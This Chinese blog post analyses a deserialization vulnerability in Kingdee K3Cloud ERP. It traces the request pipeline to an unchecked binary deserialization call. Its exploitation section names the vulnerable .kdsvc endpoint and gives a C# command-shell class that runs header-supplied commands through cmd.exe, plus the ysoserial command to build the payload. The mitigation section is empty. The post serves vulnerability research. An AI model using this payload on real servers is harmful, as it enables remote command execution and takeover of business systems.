×

⾦蝶K3Cloud反序列化分析及利⽤

hqy hqy 发表于2025-01-17 00:34:46 浏览6 评论0

抢沙发发表评论

前言:这个漏洞已经是去年的了,今天拿出来学习下其漏洞原理,顺便进行记录下

参考文章:https://www.websecuritys.cn/index.php/archives/667/
参考文章:https://learn.microsoft.com/zh-cn/dotnet/framework/debug-trace-profile/making-an-image-easier-to-debug
参考文章:https://pkgsfile.open.kingdee.com/DVD/V81E/K3Cloud_V8.1_DVD.zip

环境搭建

机器:2h16g 磁盘100g(用于装数据库使用)

K3Cloud 8.1:https://pkgsfile.open.kingdee.com/DVD/V81E/K3Cloud_V8.1_DVD.zip

MSSQL 2012 SP3:https://download.microsoft.com/download/5/5/9/559396D3-C62B-4BD6-B9BC-527C71C4A461/CHS/x86/SQLEXPR_x86_CHS.exe

安装完登录选项如下,开启其他机器访问,要不然不方便调试。

mportant; cursor: zoom-in; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) 0s !important;"/>

漏洞分析

影响

6.x版本:低于6.2.1012.4

7.x版本:7.0.352.16 至 7.7.0.202111

8.x版本:8.0.0.202205 至 8.1.0.20221110

调试

参考文章:https://learn.microsoft.com/zh-cn/dotnet/framework/debug-trace-profile/making-an-image-easier-to-debug

这边附加的进程直接附加w3wp进程前台K3Cloud来进行调试,k3cloud主要分为两个部分,分别就是K3Cloud前台(80端口)和ManageSite后台(8000端口),如下图所示

注:因为程序都是Release发布的,Release的使⽤VS调试⾃带的程序⼀样代码会被优化,微软官⽅提供了对应的调试解决⽅案,在dll所在⽬录创建⼀个同名的ini⽂件,内容如下所示,最后然后重启IIS即可生效。

注:通过设置环境变量同样可行

[.NET Framework Debugging Control]GenerateTrackingInfo=1AllowOptimize=0

这里提供一个bat脚本进行生成


@echo off

setlocal enabledelayedexpansion



REM 遍历当前目录下所有的 DLL 文件

for %%f in (*.dll) do (

   REM 将 DLL 文件名的扩展名替换为 .ini

set "ini_file=%%~nf.ini"



REM 写入指定的内容到 .ini 文件

(

echo [.NET Framework Debugging Control]

echo GenerateTrackingInfo=1

echo AllowOptimize=0

) > "!ini_file!"

)



echo INI文件生成完成。

pause


跟进KDSVC后缀路径解析Kingdee.BOS.ServiceFacade.KDServiceFx.KDServiceHandler入口点,对应文件位于

不匹配_pr_.kdsvc 或者 _prs_.kdsvc 或者 /a 这三种的时候,会返回KDSVCHandler处理器

跟进KDSVCHandler可以看到ProcessRequest和ProcessRequestInternal方法的实现

ProcessRequest主要就是解析了客户端传来的数据并将其根据Content-Type的不同来进行封装RequestExtractor对象

封装完RequestExtractor对象交给ProcessRequestInternal来进行下一步的处理

注:通过ASP执行流程可以知道先执行ProcessRequest后执行ProcessRequestInternal

ProcessRequestInternal方法这边正常流程跟进到ExecuteRequest方法

通过UriUtils.Validate方法来验证路径对应的文件的是否存在

接着就是来到RequestExcuteRuntime.StartRequest方法,这边会对一些session进行处理,接着就会来到ServiceTypeManager.BuidServiceType方法中

ServiceTypeManager.BuidServiceType方法会根据路径来加载对应的程序集,如果请求路径末尾为kdsvc,但是不包含common.kdsvc的话那么会进行XmlSerializer反序列化的方式来进行加载

接着就会来到金蝶自定义的一个管道pipeline执行流程

其中默认的管道模块是由ModulePipelineBuilder来进行构建的,每个如下图所示

ModulePipeline会将其封装好的KDServiceContext作为参数传入每个ModulePipeline的OnProcess方法中进行处理

其中导致反序列化的地方就是其中的ExecuteServiceModule模块的OnProcess方法开始的,如下图所示

ExecuteServiceModule模块的OnProcess方法主要就是验证了客户端传来的数据以及判断了数据类型是如何,然后通过SerializerProxy来进行封装

这里的SerializerProxy是由SerializerManager.Create创建的,它会根据客户端传来的format参数来返回对应类型的SerializerProxy

接着将封装完的SerializerProxy传入到this.executor.Execute方法中,根据数据类型用DeserializeParameters对其中的数据进行反序列化触发漏洞,如下图所示

可以看到数据无任何校验就直接进行serializer.Deserialize反序列化

利用

当传入的路径为Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService.CloseForm.common.kdsvc,其中变量赋值的过程是如下

svcFullName=Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService.CloseForm.common.kdsvc
text=.common.kdsvc
text2=Kingdee.BOS.ServiceFacade.ServicesStub
text3=ServicesStub
text4=CloseForm
text5=DynamicFormService
text6=Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm

serviceType.ServiceName=Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService.CloseForm
fullNameKingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService

这边直接跟到Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService.CloseForm

public string CloseForm(JSONArray pparams){	foreach (object obj in pparams)	{		JSONObject jsonobject = (JSONObject)obj;		string value = jsonobject.GetValue<string>("servicename", "");		string text = "CloseForm";		string value2 = jsonobject.GetValue<string>("pageid", "");		JSONArray value3 = jsonobject.GetValue<JSONArray>("paramdata", null);		this.Call(value, value2, text, value3);	}	return null;}

最终反序列化的过程中还校验了传入参数的类型,只有当类型不是为string,IsEnum,int,byte,float,double,long,datetime,decimal,bool的时候才会通过反序列化SerializerProxy来处理这段数据

		public object Deserialize(string content, Type type)		{			if (string.IsNullOrEmpty(content))			{				if (type.IsValueType)				{					return Activator.CreateInstance(type);				}				if (type.Equals(typeof(string)))				{					return content;				}				return null;			}			else if (type == typeof(string))			{				if (this.proxy.RequireEncoding)				{					byte[] array = this.proxy.Encoder.Decoding(content);					return this.encoding.GetString(array, 0, array.Length);				}				return content;			}			else			{				if (type.IsEnum)				{					return Enum.Parse(type, content, true);				}				if (type == typeof(int))				{					return int.Parse(content);				}				if (type == typeof(byte))				{					return byte.Parse(content);				}				if (type == typeof(float))				{					return float.Parse(content);				}				if (type == typeof(double))				{					return double.Parse(content);				}				if (type == typeof(long))				{					return long.Parse(content);				}				if (type == typeof(DateTime))				{					return DateTime.Parse(content);				}				if (type == typeof(decimal))				{					return decimal.Parse(content);				}				if (type == typeof(bool))				{					return bool.Parse(content);				}				return this.proxy.Deserialize(content, type);			}		}

构造Binary格式的SerializerProxy序列化代理器即可,对应的format参数为3

cmd.cs

class E{public E(){System.Web.HttpContext context = System.Web.HttpContext.Current;context.Server.ClearError();context.Response.Clear();try{System.Diagnostics.Process process = new System.Diagnostics.Process();process.StartInfo.FileName = "cmd.exe";string cmd = context.Request.Headers["cmd"];process.StartInfo.Arguments = "/c " + cmd;process.StartInfo.RedirectStandardOutput = true;process.StartInfo.RedirectStandardError = true;process.StartInfo.UseShellExecute = false;process.Start();string output = process.StandardOutput.ReadToEnd();context.Response.Write(output);} catch (System.Exception) {}context.Response.Flush();context.Response.End();}}

ysoserial.exe -g ActivitySurrogateSelectorFromFile -c "cmd.cs;System.Web.dll;System.dll" -f binaryformatter

缓解措施


打赏

本文链接:https://www.kinber.cn/post/4705.html 转载需授权!

分享到:


推荐本站淘宝优惠价购买喜欢的宝贝:

image.png

 您阅读本篇文章共花了: 

群贤毕至

访客